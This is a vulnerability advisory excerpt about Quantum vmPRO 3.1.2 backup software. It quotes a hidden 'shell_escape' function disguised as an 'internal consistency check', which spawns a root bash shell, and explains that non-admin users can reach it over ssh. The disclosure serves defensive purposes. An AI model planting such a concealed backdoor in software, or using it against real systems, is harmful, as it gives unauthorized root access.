  Product description:
  -------------------------
  
  Unlike traditional backup applications and other backup applications
  designed for virtual environments,
  Quantum vmPRO Software backs up VMs in native VMware format. This enables
  users to restore or boot VMs
  in seconds without the use of a backup application, reduces virtual server
  and network usage by reducing
  VM image sizes before backing up those images to backup storage, and
  substantially reduces the cost of
  using traditional backup applications to back up virtual environments.

  [ 0x01 - Shell Backdoor Command ]
  
  The file "/usr/local/pancetera/bin/cmd_processor.py" on the vmPRO 3.1.2
  virtual machine contains the following lines:
  
  def cmd_shell_escape(self, args):
  log_panshell(syslog.LOG_INFO, "internal consistency check started")
  env = dict(os.environ)
  env['SHELL'] = '/bin/bash'
  env['HOME']= '/tmp'
  env['TERM']= 'xterm'
  os.spawnle(os.P_WAIT, '/bin/bash', 'bash', env)
  log_panshell(syslog.LOG_INFO, "internal consistency check finished")
  return
  
  This is a hidden command to gain a root shell. If we create a user in the
  web interface without administrator rights,
  we can still ssh and gain a root shell! This of course should not be
  possible and only be accessible to an admin user.
